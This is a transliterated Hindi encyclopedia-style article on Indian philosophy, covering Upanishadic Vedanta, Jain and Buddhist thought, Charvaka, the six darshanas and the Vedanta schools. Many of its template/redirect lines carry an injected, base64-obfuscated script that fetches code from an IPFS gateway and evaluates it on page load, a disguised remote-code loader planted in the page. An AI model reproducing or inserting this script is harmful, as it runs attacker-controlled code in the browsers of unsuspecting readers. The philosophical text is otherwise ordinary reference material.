- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
250px|thumb|hastalikhit granth, eeshavasyopanishad upanishadoan ka darshan adhyatmik hai. brahm ki sadhana hi upanishadoan ka mukhy lakshy hai. brahm ko atma bhi kahate haian. 'atma' vishayajagat, sharir, iandriyoan, man, buddhi adi sabhi avagamy tatvoan se pare ek anirvachaniy aur atiandriy tatv hai, jo chitsvaroop, anant aur anandamay hai. sabhi parichchhedoan se pare hone ke karan vah anant hai. aparichchhann aur ek hone ke karan atma bhed moolak jagat mean manushyoan ke bich aantarik abhed aur advait ka adhar ban sakata hai. atma hi manushy ka vastavik svaroop hai. usaka sakshatkar karake manushy man ke samast bandhanoan se mukt ho jata hai. advaitabhav ki poornata ke lie atma athava brahm se j d jagat ki utpatti kaise hoti hai, isaki vyakhya ke lie maya ki anirvachaniy shakti ki kalpana ki gee hai. kiantu srishtivad ki apeksha atmik advaitabhav upanishadoan ke vedaant ka adhik mahatvapoorn paksh hai. yahi advaitabhav bharatiy sanskriti mean otaprot hai.
vedaant
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
darshan ke kshetr mean upanishadoan ka yah brahmavad shankarachary, ramanujachary adi ke uttarakalin vedaant matoan ka adhar bana. vedoan ka aantim bhag hone ke karan upanishadoan ko 'vedaant' bhi kahate haian. upanishadoan ka abhimat hi age chalakar vedaant ka siddhaant aur sanpradayoan ka adhar ban gaya. upanishadoan ki shaili saral aur ganbhir hai. anubhav ke ganbhir tatv atyant saral bhasha mean upanishadoan mean vyakt hue haian. unako samajhane ke lie anubhav ka prakash apekshit hai. brahm ka anubhav hi upanishadoan ka lakshy hai. vah apani sadhana se hi prapt hota hai. guru ka sanpark usamean adhik sahayak hota hai. tap, achar adi sadhana ki bhoomika banate haian. karm atmik anubhav ka sadhak nahian hai. karm pradhan vaidik dharm se upanishadoan ka yah matabhed hai. sannyas, vairagy, yog, tap, tyag adi ko upanishadoan mean bahut mahatv diya gaya hai. inamean shraman paranpara ke kathor sannyasavad ki prerana ka srot dikhaee deta hai. tapovadi jain aur bauddh mat tatha 'gita ka karmayog' upanishadoan ki adhyatmik bhoomi mean hi aankurit hue haian.[1]
nastik darshan
upanishadoan ke 'adhyatmavad' tatha 'tapovad' mean hi vaidik karmakaand ke viruddh ek pratikriya ne ek prakat kraanti ka roop grahan kar liya. jain dharm ka aranbh bauddh dharm se pahale hua tha. mahavir svami ke poorv 23 jain tirthankar ho chuke the. mahavir svami ne jain dharm ka prachar kiya. bauddh dharm ke pravartak gautam buddh unake samakalin the. donoan ka samay eesa poorv chhathi shatabdi mana jata hai. inhoanne vedoan se svatantr ek navin dharmik paranpara ka pravartan kiya. vedoan ko n manane ke karan jain aur bauddh darshanoan ko 'nastik darshan' bhi kahate haian. inaka maulik sahity kramash: mahavir aur buddh ke upadeshoan ke roop me hai, jo kramash: prakrit aur pali ki lokabhashaoan mean milata hai tatha jisaka sangrah in mahapurushoan ke nirvan ke bad kee sangitiyoan mean unake anuyayiyoan ke paramarsh ke dvara hua. buddh aur mahavir donoan himalay pradesh ke rajakumar the. yuvavay mean hi sannyas lekar unhone apane dharmo ka upadesh aur prachar kiya. unaka yah sanyas upanishadoan ki paranpara se prerit hai. jain aur bauddh dharmoan mean tap aur tyag ki mahima bhi upanishadoan ke dasharn ke anukool hai. ahiansa aur achar ki mahatta tatha jatibhed ka khandan in dharmoan ki visheshata hai. ahiansa ke bij bhi upanishadoan mean vidyaman haian. phir bhi ahiansa ki dhvaja ko dharm ke akash mean phaharane ka shrey jain aur bauddh sanpradayoan ko dena hoga.
mahavir svami ke upadesh
[[chitr:Mahavir-Bhagwan-Delhi-1.jpg|mahavir ki pratima, dilli|thumb|right|250px]] mahavir svami ke upadeshoan se lekar jain dharm ki paranpara aj tak chal rahi hai. mahavir svami ke upadesh 41 sootroan mean sankalit haian, jo jainagamoan mean milate haian. umasvati ka 'tatvarthadhigam sootr' (300 ee.) jain darshan ka prachin aur pramanik shastr hai. siddhasen divakar (500 ee.), haribhadr (900 ee.), merutuang (14vian shatabdi), adi jain darshan ke prasiddh achary haian. siddhaant ki drishti se jain darshan ek or adhyatmavadi tatha doosari or bhautikavadi hai. vah atma aur pudgal[2] donoan ko manata hai. jain mat mean atma prakash ke saman vyapak aur vistarashil hai. punarjanm mean navin sharir ke anusar atma ka sankoch aur vistar hota hai. svaroop se vah chaitany svaroop aur anandamay hai. vah man aur iandriyoan ke madhyam ke bina paroksh vishayoan ke jnan mean samarth hai. is alaukik jnan ke tin roop haian-
- avadhijnan
- man:paryay
- kevalajnan
poorn jnan ko 'kaivaly jnan' kahate haian. yah nirvan ki avastha mean prapt hata hai. yah sab prakar se vastuoan ke samast dharmoan ka jnan hai. yahi jnan 'praman' hai. kisi apeksha se vastu ke ek dharm ka jnan 'nay' kahalata hai. 'nay' kee prakar ke hote haian. jnan ki sapekshata jain darshan ka siddhaant hai. yah sapekshata manaviy vicharoan mean udarata aur sahishnuta ko sanbhav banati hai.[1]
- REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
asrav
sabhi vichar aur vishvas aanshik saty ke adhikari ban jate haian. poorn saty ka agrah anuchit hai. vah nirvan mean hi prapt ho sakata hai. nirvan atma ka kaivaly hai. karm ke prabhav se pudgal ki gati atma ke prakash ko achchhadit karati hai. yah 'asrav' kahalata hai. yahi atma ka bandhan hai.
nirjara
tap, tyag, aur sadachar se is gati ka avarodh 'sanvar' tatha sanchit karmapudgal ka kshay 'nirjara' kahalata hai. isaka aant 'nirvan' mean hota hai. nirvan mean atma ka anant jnan aur anant anand prakashit hota hai.
buddh ke upadesh
250px|right|buddh pratima, bodhagaya, bihar buddh ke upadesh tin pitakoan mean sankalit haian. ye nimn haian-
adi kahalate haian. ye pitak bauddh dharm ke agam haian. kriyashil saty ki dharana bauddh mat ki maulik visheshata hai. upanishadoan ka brahm achal aur aparivartanashil hai. buddh ke anusar parivartan hi saty hai. pashchimi darshan mean hairaklaitas aur bargasaan ne bhi parivartan ko saty mana hai. is parivartan ka koee aparivartaniy adhar bhi nahian hai.
- REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
anatmavad
bahy aur aantarik jagat mean koee dhruv saty nahian hai. bahy padarth 'svalakshanoan' ke sanghat haian. atma bhi manobhavoan aur vijnanoan ki dhara hai. is prakar bauddhamat mean upanishadoan ke atmavad ka khandan karake 'anatmavad' ki sthapana ki gee hai. phir bhi bauddhamat mean karm aur punarjanm many haian. atma ka n manane par bhi bauddh dharm karuna se otaprot haian. du:kh se dravit hokar hi buddh ne sannyas liya aur du:kh ke nirodh ka upay khoja. avidya, trishna adi mean du:kh ka karan khojakar, unhoanne inake uchchhed ko nirvan ka marg bataya. anatmavadi hone ke karan bauddh dharm ka vedaant se virodh hua. is virodh ka phal yah hua ki bauddh dharm ko bharat se nirvasit hona p da. kiantu eshiya ke poorvi deshoan mean usaka prachar hua. buddh ke anuyayiyoan mean matabhed ke karan kee sanpraday ban ge. jain sanpraday vedaant ke saman dhyanavadi hai. isaka chin mean prachar hai. siddhaantabhed ke anusar bauddh paranpara mean char darshan prasiddh haian. inamean vaibhashik aur sautraantik mat hinayan paranpara mean haian. yah dakshini bauddhamat haian. isaka prachar bhi lanka mean hai. yogachar aur madhyamik mat mahayan paranpara mean haian. yah uttari bauddhamat hai. in charoan darshanoan ka uday eesa ki aranbhik shabtabdiyoan mean hua tha. isi samay vaidik paranpara mean shaddarshanoan ka uday hua. is prakar bharatiy panrapara mean darshan sanpradayoan ka avirbhav lagabhag ek hi sath hua hai tatha unaka vikas paraspar virodh ke dvara hua hai. pashchimi darshanoan ki bhaanti ye darshan poorva par kram mean udit nahian hue haian.
bahyanumeyavad
vasubandhu (400 ee.), kumaralat (200 ee.) maitrey (300 ee.) aur nagarjun (200 ee.) in darshanoan ke pramukh achary the. vaibhashik mat bahy vastuoan ki satta tatha svalakshanoan ke roop mean unaka pratyaksh manata hai. at: use bahy pratyakshavad athava 'sarvastitvavad' kahate haian. saitraantik mat ke anusar padarthoan ka pratyaksh nahian, anuman hota hai. at: use bahyanumeyavad kahate haian.
vijnanavad
yogachar mat ke anusar bahy padarthoan ki satta nahian hai. hamean jo kuchh dikhaee deta hai vah vijnan matr hai. yogachar mat vijnanavad kahalata hai. madhyamik mat ke anusar vijnan bhi saty nahian hai. sab kuchh shoony hai. shoony ka arth nirasvabhav, ni:svaroop athava anirvachaniy hai. shoonyavad ka yah shoony vedaant ke brahm ke bahut nikat a jata hai.
vedavirodhi hone ke karan nastik sanpradayoan mean charvak mat ka bhi nam liya jata hai. bhautikavadi hone ke karan yah adar n pa saka. isaka itihas aur sahity bhi upalabdh nahian hai. 'brihaspati sootr' ke nam se ek charvak granth ke uddharan any darshan granthoan mean milate haian. charvak mat ek prakar ka yatharthavad aur bhautikavad hai. isake anusar ek pratyaksh hi praman hai. anuman aur agam sandigdh hote haian. pratyaksh par ashrit bhautik jagat hi saty hai. atma, eeshvar, svarg adi sab kalpit haian. bhootoan ke sanyog se deh mean chetana utpann hoti hai. deh ke sath maran mean usaka aant ho jata hai. atma nity nahian hai. usaka punarjanm nahian hota hai. jivan kal mean yathasanbhav sukh ki sadhana karana hi jivan ka lakshy hona chahie.
vaidik darshan paranpara
upanishatkal mean ek or bauddh aur jain dharmoan ki avaidik paranparaoan ka avirbhav hua tatha doosari or vaidik darshanoan ka uday hua tha. eesa ke janm ke poorv aur bad ki ek do shatabdiyoan mean anek darshanoan ki samanaantar dharaean bharatiy vichar bhoomi par pravahit hone lagian. bauddh aur jain darshanoan ki dharaean bhi inamean sammilit haian. vaidik darshanoan mean shaddarshan adhik prasiddh haian. gita darshan bhi inaka samakalin hai. gita ka karmayog upanishadoan ke brahmavad ke bad ek mahatvapoorn maulik darshan hai. sabhi vaidik darshanoan ne karmayog ka mahatv svikar kiya hai. vyavaharik hone ke karan use pratinidhi bharatiy jivan darshan kaha ja sakata hai. gita ke karmayog mean adhyatm aur jivan ka adbhud samanvay hua hai. aitihasik drishti se yah vaidik karmakaand aur upanishadoan ke brahmavad ka samanvay hai. adhyatm aur karm ka yah samanvay atyant mahatvapoorn hai. upanishadoan ke vedaant tatha bauddh aur jain dharm ke sannyasavad ke prabhav s bharatiy janata mean virakti aur nivritti ka prabhav itana badh raha tha ki samaj ke lie ghatak ban jata hai. aisi sthiti mean gita ne karmayog ka sandesh dekar desh ko ek sanjivan mantr pradan kiya. adhyatm ko svikar kar gita ne sanyas ko ek nee paribhasha di. 'sanyas' ka samany arth 'tyag' hai. kiantu is tyag mean pray: bhraanti ho jati hai. bhojan, shayan adi prakritik karmoan ka tyag kiya ja sakata hai. kamy karmoan ka bhi tyag sanbhav hai. yahi gita ka sannyas hai. phal ki kamana tyag kar lok sanbhav hai. yahi gita ka sanyas hai. phal ki kamana tyag kar lok sangrah ke lie nishkam karm karana jivan ka adarsh hai. yahi moksh ka sadhan hai. gita ka yah nishkam karmayog adhikaansh bharatiy darshanoan ne apanaya hai. jnanayog usaka adhyatmik adhar hai aur bhaktiyog usaka bhavatmak darshan hai.
gita karmayog
gita ke karmayog ke atirikt vaidik darshanoan mean shaddarshan prasiddh haian. inake nam nimn prakar se vidit hai-
- saankhy
- yog
- nyay
- vaisheshik
- mimaansa
- vedaant
inake praneta kapil, patanjali, gautam, kanad, jaimini ke badarayan the. eesa ke janm ke asapas in darshanoan ka uday mana jata hai. inake aranbhik sanket upanishadoan mean bhi milate haian. pratyek darshan ka adhar granth ek darshanasootr hai. 'sootr' bharatiy darshan ki ek adbhut shaili hai. gine chune shabdoan mean siddhaant ke sar ka sanket sootroan mean rahata hai. sankshipt hone ke karan sootroan par vistrit bhashy aur anek tikaoan ki rachana huee. bharatiy darshan ki yah shaili svatantr darshan granthoan ki pashchimi shaili se bhinn hai. guru-shishy-paranpara ke anukool darshan ki shiksha aur rachana isaka adhar hai. yah paranpara shaddarshanoan ke bad navin darshanoan ke uday mean badhak rahi. vyakhyaoan ke prasang mean kuchh navinata aur matabhed ke karan mukhy darshanoan mean upabhed avashy paida ho ge. praman vichar, srishti mimaansa aur moksh sadhana shaddarshanoan ke samany vishay haian. ye chh: darshan kisi n kisi roop mean atma ko manate haian. atma ki prapti hi moksh hai. punarjanm, achar, yog adi ko bhi ye manate haian. nyay, yog adi kuchh darshan eeshvar mean vishvas karate haian. saankhy aur mimaansa darshan nirishvaravadi haian. pratyaksh, anuman, upaman aur shabd ye char praman samanyat: sabhi darshanoan ko many haian. mimaansa mat mean arthapatti aur anupalabdhi ye do praman aur mane jate haian.
vedaant darshan
upanishanmoolak hone ke karan inamean vedaant darshan sabase adhik prachin hai. kiantu brahmasootr mean any darshanoan ka khandan hai tatha usaka prachinatam bhashy shankarachary ka hai[3]. any darshan sootroan ke bhashy eesa ki aranbhik shatabdiyoan mean rache ge.
- REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
saankhy darshan
saankhy sootr sanbhavat: lupt ho gaya hai. eeshvarkrishna[4] ki 'saankhyakarika' saankhy darshan ka pramanik granth hai. saankhy darshan nirishvaravadi dvaitavad hai. isake anusar prakriti aur purush do svatantr aur sanatan sattaean haian. 'prakriti' j d hai aur jagat ka sookshm karan hai. vah satv, rajas, aur tamas in tin gunoan ki samyavastha ka nam prakriti hai. prakriti ke sath purush ka sanpark hone se sarg ka aranbh hota hai. sarg purush ka bandhan hai. tatvajnan se moksh hota hai. apane shuddh chetan kartritv bhoktritv rahit svaroop ke jnan se purush mukt hota hai.
yog darshan
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
yog darshan ke siddhaant saankhy ke saman haian. yog sootr par rachit bhashy aur tikaean yog darshan ki vistrit paranpara ka adhar haian. yogadarshan ka mukhy lakshy samadhi ke marg ko prashast karana hai. samadhi mean chitt ki samast vrittiyoan ka nirodh ho jata hai. abhyas, vairagy aur dhyan yogake mukhy sadhan haian. eeshvar ko bhi dhyan ka lakshy banaya ja sakata hai itana hi yog darshan mean eeshvar ka mahatv hai. yam, niyam, asan, pranayam, pratyahar, dharana, dhyan aur samadhi ke ath aangoan se yukt ashtaangayog yog ka sarvajan sulabh marg hai.
vaisheshik darshan
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
nyay vaisheshik praman pradhan darshan haian. nyay ek prakar ka bharatiy tarkashastr hai. nyay sootr par anek prasiddh tikaean haian. gangesh upadhyay[5] ki 'tatvachiantamani' se navadvip mean navy nyay ki paranpara ka aranbh hua tha. nyayadarshan ke pahale hi sootr mean 16 padarthoan ka ullekh hai. inake dvara tatvajnan hota hai, jo ni:shreyas athava moksh ka sadhan hai. pramanoan ko vishesh vistar nyay darshan mean milata hai. eeshvar bhakti ko nyay mean moksh ka sadhan mana gaya hai. vaisheshik darshan ek prakar se nyay ka saman tantr hai. vishesh athava paramanu usaka mukhy vishay hai. paramanu srishti ka mool upadan karan hai. eeshvar ko nyay-vaisheshik-dasharn srishti ka nimitt karan manate haian. vaisheshik darshan mean sanpoorn satta ko sat padarthoan mean vibhajit kiya gaya hai-
- dravy
- gun
- karm
- samany
- vishesh
- samavay
- abhav.
nyay ke 16 padarthoan ki apeksha adhik sangat hone ke karan yahi vibhajan age chalakar adhik many hua tatha nyay-vaisheshik-darshan ki us sanyukt paranpara ka adhar bana jisaka pratinidhitv 'nyayamuktavali' adi arvachin granth karate haian.
mimaansa
shaddarshanoan mean aantim do darshanoan ko 'mimaansa' kaha jata hai. ye poorvamianmaansa aur uttaramimaansa kahalati haian. any darshanoan ki apeksha inaka vedoan se adhik ghanishth sanbandh hai. ek prakar se ye vaidik darshan ki vyakhyaean haian. poorvamimaansa, mantrasanhita aur brahmanoan ke karmakaand ki vyakhya hai. uttaramimaansa upanishadoan ke adhyatmadarshan ka tarkik vivechan hai. vedoan ka aantim bhag hone ke karan upanishadoan ko 'vedaant' kahate haian. uttar mimaansa ka nam bhi 'vedaant' hai. in donoan mimaansaoan ke siddhaantoan ka adhar vedoan mean hai, kiantu vyavasthit darshanoan ke roop mean inaka aranbh any darshanoan ke sath sath hi eesa ke janm ke asapas hua. isilie inaki ganana shaddarshanoan mean ki jati hai. donoan mimaansaoan ke itihas ke tin charan haian. tinoan hi charanoan mean inaka vikas ek hi poorvottar kram mean hua. vaidik yug mean vedoan ke poorvabhag[6] mean karmakaand ka vidhan hua. vedoan ke uttar bhag[7] mean adhyatm ki pratishtha huee. eesa ki aranbhik shatabdi mean jaimini aur badarayan ke 'mimaansasootr' tatha 'brahmasootr' bhi sanbhavat: isi kram mean rache ge. eesa ki satavian shatabdi mean kumaril bhatt aur shankarachary ne isi poorva par kram mean poorv aur uttaramimaansaoan ka uddhar evan prachar kiya tha.
anatmavadi hone ke karan bauddh darshan ka atmavadi vaidik darshan se virodh hai. vaidik dharm ke viruddh kraanti ke roop mean hi eesavi poorv chhathi shatabdi mean bauddh dharm ka uday hua tha. anek karanoan se eesa ki chhathi shatabdi mean bauddh dharm ka hras hone laga. usi samay kumaril aur shankarachary ne vaidik dharm ke donoan pakshoan ki pratishtha ki. inake bad parthasarathi mishr [8] tatha madhavachary [9] n poorvamimaansa darshan ka vistar kiya. madhavachary vijayanagar ke raja vukka ke mantri the. bad mean sannyas lekar vidyarany ke nam se shrriangeri pith ke shankarachary pad par asin hue aur 'panchadashi' namak praddhi vedaant granth ki rachana ki. vedaantamat ki pratishtha ke lie shankarachary ne desh ke charoan konoan par jin char pithoan ki sthapana ki unamean shrriangeri pith dakshin mean nilagiri parvat par sthit hai. any tin pith puri, badarikashram aur dvaraka mean haian. shankarachary ne upanishadoan, brahmasootr aur gita par bhashyoan ki rachana ki. shankarachary ke bad vachaspati mishr (9vian shatabdi), shri harsh (12vaan shatabdi) adi acharyoan ne vedaant paranpara ka vistar kiya.
poorvamimaansa
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
poorvamimaansa ka mukhy lakshy vaidik karmakaand ki vyavastha karana hai. isake anusar vedamantroan ka mukhy arth vidhi athava karm ke adesh mean hai. jin mantroan mean vidhivachak kriya nahian hai, ve 'arthavad' haian tatha devataoan adi ki prarochana karate haian. yadi yajnadi karm se ek divy shakti utpann hoti hai, jise 'apoorv' kahate haian. yahi apoorv karm phal ka niyamak hai. poorvamimaansa mean eeshvar many nahian hai. ved nity aur apaurushey haian. nity shabd ka kalp kalp mean yatha poorv sphot hota hai aur apoorv ki shakti se yathapoorv srishti ki utpatti hoti hai. poorvamimaansa ki atma vaisheshik ke saman chetanatit hai. nyay darshan ke char pramanoan ke atirikt arthapatti aur anupalabdhi do praman aur mimaansa darshan mean mane jate haian.
uttar mimaansa
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uttar mimaansa vedoan ke uttar bhag[10]par ashrit hai. upanishad vedoan ke aantim bhag haian, at: ve vedaant kahalate haian. uttar mimaansa ka adhik prasiddh nam 'vedaant' hi hai. brahmasootr aur upanishadoan ki vyakhyaoan ke dvara vedaant ka vistar hua hai. anek acharyoan ne bhinn bhinn drishtikon se brahmasootroan aur upanishadoan ki vyakhya ki hai. acharyoan ke vibhinn matoan ke adhar par vedaant ke anek sanpraday ban ge. ye advait, vishishtadvait, dvait adi ke nam se prasiddh haian. vedaant ke ye sanpraday saankhy adi ki bhaanti darshanik nahian haian; in sabhi sanpradayoan ke dharmik pith desh ke vibhinn sthanoan mean pratishthit haian. in pithoan ki achary-paranpara aj tak akshunn chali a rahi hai.
vedaant sanpraday
vedaant ke in anek sanpradayoan mean shankarachary ka advaitamat sabase prachin hai. yah sanbhavat: sabase adhik pratishthit bhi hai. shankarachary ka advaitavad upanishadoan par ashrit hai. unake anusar brahm hi ek matr saty hai. jagat ka vikshep aur jiv ke brahmabhav ka avaran karati hai. ajnan ka nivaran hone par jiv ko apane brahmabhav ka sakshatkar hota hai. yahi moksh hai. brahm sachchidanand hai. brahm ki satta aur chetana tatha usaka anand anant hai.
advait
jagrit, svapn aur sushupt ki avasthaoan se pare tatha bahy aur aantarik vishayoan se atit anubhav mean brahm ka prakash hota hai. vishayatit hone ke karan brahm anirvachaniy hai. sankhyatit hone ke karan use 'advait' kaha jata hai. tyag aur prem ke vyavaharoan mean yah advait bhav vibhasit hota hai. samadhi mean isaka aantarik sakshatkar hota hai. advait bhav ko siddh karane ke lie brahm ko jagat ka karan mana gaya hai. brahm ko jagat ka upadan karan manakar donoan ka advait siddh ho jata hai.
eeshvar
upadan ke parinam ki ashanka ko vivartavad ke dvara door kiya gaya hai. vivartakaran avikary hota hai. usaka kary mithya hota hai, jaise rajju mean sarp ka bhram. rajju sarp aur svapn pratibhasik saty haian. jagat vyavaharik saty hai. moksh paryant vah many hai. brahm hi paramarthik saty hai jo moksh mean shesh rah jata hai. maya se yukt brahm 'eeshvar' kahalata hai. vah srishti ka karta hai, kiantu vah paramarthik saty nahian hai. brahmanubhav ka sadhan jnan hai. karm ke sadhy shashvat nahian hote. 'brahm' karm ke dvara sadhy nahian hai. karm aur bhakti moksh ke sahakari karan haian. shravan, manan aur nididhyasan mokshasadhana ke tin charan haian. moksh mean atma samast bandhanoan se mukt ho jati hai aur anant anand se aplavit rahati hai. yah moksh jivan kal mean prapy hai tatha jivan ke vyavahar se isaki poorn sangati hai.
shri sanpraday
shankarachary ke lagabhag 300 varsh bad 11vian shatabdi mean ramanujachary ne brahmasootroan ki navin vyakhya ke adhar par vishishtadvait mat ki sthapana ki. ramanujakrit 'shribhashy' ke adhar par yah shrisanpraday kahalata hai. ramanuj shankar ke mayavad ko nahian manate the. unake anusar jiv, jagat aur brahm tinoan paramarthik saty haian. jagat brahm ka vivart nahian varan brahm ki vastavik rachana hai. brahm aur eeshvar ek doosare ke paryay haian. jiv brahm ka aansh hai. moksh mean jagat ka vilay nahian hota aur jiv ka svatantr astitv bana rahata hai. brahm nirvishesh aur nirgun nahian varan savisheshy aur sagun hai. brahm hi svatantr satta hai. jiv aur jagat usake aprithaksiddh visheshan haian. brahm se prithakh unaka astitv sanbhav nahian hai. at: ramanuj ka mat bhi advait hi hai. jiv aur jagath ke visheshanoan se yukt brahm ka inake sath vishisht advaitabhav hai. brahm inaka aantaryami svami hai. ramanuj ke mat mean bhakti moksh ka mukhy sadhan hai. bhagavan ke gunoan ka jnan bhakti ka prerak hai. sadharan jan aur shoodroan ke lie prapatti arthat sharanagati sarvottam marg haian.
vedaant-parijat-saurabh
ramanuj ke kuchh varsh bad 11vian shatabdi mean hi nianbarkachary ne dvaitardvat mat ki pratishtha ki. brahmasootroan par 'vedaant-parijat-saurabh' nam se unaka bhashy is mat ka adhar hai. ramanuj ke saman nianbark bhi jiv aur jagat ko saty tatha brahm ka ashrit manate haian. ramanuj ke mat mean advait pradhan hai. nianbark mat mean dvait ka anurodh adhik hai. ramanuj ke anusar jiv aur brahm mean svaroopagat samy hai, unaki shakti mean bhed haian. nianbark ke mat mean unamean svaroopagat bhed hai. nianbark ke advait ka adhar jiv ki brahm par nirbharata hai. nianbark ka brahm sagun eeshvar hai. krishna ke roop mean usaki bhakti hi moksh ka param marg hai. yah bhakti bhagavan ke anugrah se prapt hoti hai. bhakti se bhagavan ka sakshatkar hota hai. yahi moksh hai. ramanuj aur nianbark dono ke mat mean videh mukti hi many hai.
nianbark ke bad 13vian shatabdi mean madhvachary ne dvait mat ka pratipadan kiya. ve poornaprajn tatha anandatirth ke nam se bhi prasiddh haian. unhoanne shankarachary ke advait aur nianbark ke dvaitadvait ka khandan karake dvaitavad ki sthapana ki hai. unake anusar bhed aur abhed donoan ki ekatr sthati sanbhav nahian hai. shankarachary ka mayavad bhi unhean many nahian hai. jagat mithya nahian yatharth hai. sat aur asat se bhinn maya ki tisari anirvachaniy koti sanbhav nahian hai. eeshvar, jiv aur jagat tinoan ek doosare se bhinn haian. bhed ke paanch prakar haian.
- eeshvarajiv
- eeshvar-jagat
- jiv-jagath
- jiv-jiv aur j d padarth
inamean paraspar bhed hai. eeshvar jagat ka upadan karan nahian, nimitt karan hai. upadan karan prakriti hai. eeshvar usaka niyamak hai. eeshvar ki bhakti ke dvara moksh prapt hota hai. mukt jivoan mean paraspar bhed rahata hai. ve eeshvar se bhinn rahakar apani samarthy ke anusar eeshvar ki vibhooti mean bhag lete haian.
15vian shatabdi mean vallabhachary ne shuddhadvait mat ka prachar kiya. is mat ka adhar 'brahmasootroan' par likhit vallabhachary ka 'anubhashy' hai. ve maya se alipt shuddh brahm ka advait bhav manate haian. yah brahm nirgun nahian, sagun hai tatha maya ke sanbandh se rahit hai. brahm apani anant shakti se jagatri ke roop mean vyakt hota hai. chit aur anand ka tirodhan hone ke karan jagat mean keval sat roop se brahm ki abhivyakti hoti hai. jiv aur brahm svaroop se ek haian. agni ke sphurligoan ki bhaanti jiv brahm ka aansh hai, visheshan nahian. is prakar sarvatr advait hai, kahian bhi dvait nahian. bhakti moksh ke sadhan do prakar ke haian-
- maryada
- pushti
16vian shatabdi mean chaitany mahaprabhu ne 'achianty bhedabhed' ka pravartan kiya. unake shishy roop gosvami ne gau diy vaishnav sanpraday ka pratishthapan kiya. inake anusar bhagavan ki shakti achianty hai. vah virodhi gunoan ka samanvay kar sakati hai. bhedabhed ka chiantan n karake moksh ki sadhana karana hi jivan ka dharm hai. moksh ka arth bhagavan ki priti ka nirantar anubhav hai.
vedaant ka uday
is prakar vaidik yug ke uttarakal mean upanishadoan mean jis vedaant ka uday hua usaka navin utthan satavian shatabdi se lekar 16vian shatabdi tak advait, vishishtadvait, dvait, shuddhadvait adi sanpradayoan ke roop mean hua. upanishadoan ka vedaant pashchimi aur uttariy bharat ki den hai. advait adi sanpradayoan ka uday dakshin se hua. inake pravartak dakshin deshoan ke nivasi the. chaitany ka mat bangal se udit hua. kiantu in sabhi sanpradayoan ne vridaanvan adi uttari sthanoan mean apane pith banae. shankarachary ne desh ke charoan konoan par pith sthapit kie. uttar, dakshin, poorv, pashchim sabhi pradeshoan ke log in sanpradayoan mean sammilit hue. siddhaant mean bhinn hote hue bhi vedaant ke ye vibhinn sanpraday bharatavarsh ki aantarik ekata ke sootr bane.
shaiv aur shakt sanpraday
vaidik aur avaidik darshanoan ke atirikt bharatiy darshan paranpara mean ek tisari dhara shaiv tatha shakt sanpradayoan ki pravahit hoti rahi hai. kuchh rahasyamay sadhana ke roop mean hone ke karan yah vaidik aur avaidik dharaoan ke sangam mean kuchh sarasvati ke saman gupt rahi hai. kiantu pratyaksh upasana ke roop mean bhi shiv ki manyata bahut hai. prachin aitihasik khojoan se shiv ki prachinata pramanit hoti hai. gaanv gaanv mean shiv ke mandir haian. prati saptah aur prati paksh mean shiv ka vrat hota hai. mahadev parvati ka divy daanpaty bharatiy parivaroan mean adarsh ke roop se poojit hota hai. rrigved aur yajurved ke rudr ke roop mean shiv ka varnan hai. kiantu pray: shiv ko avaidik lokadevata mana jata hai.
shat-darshan
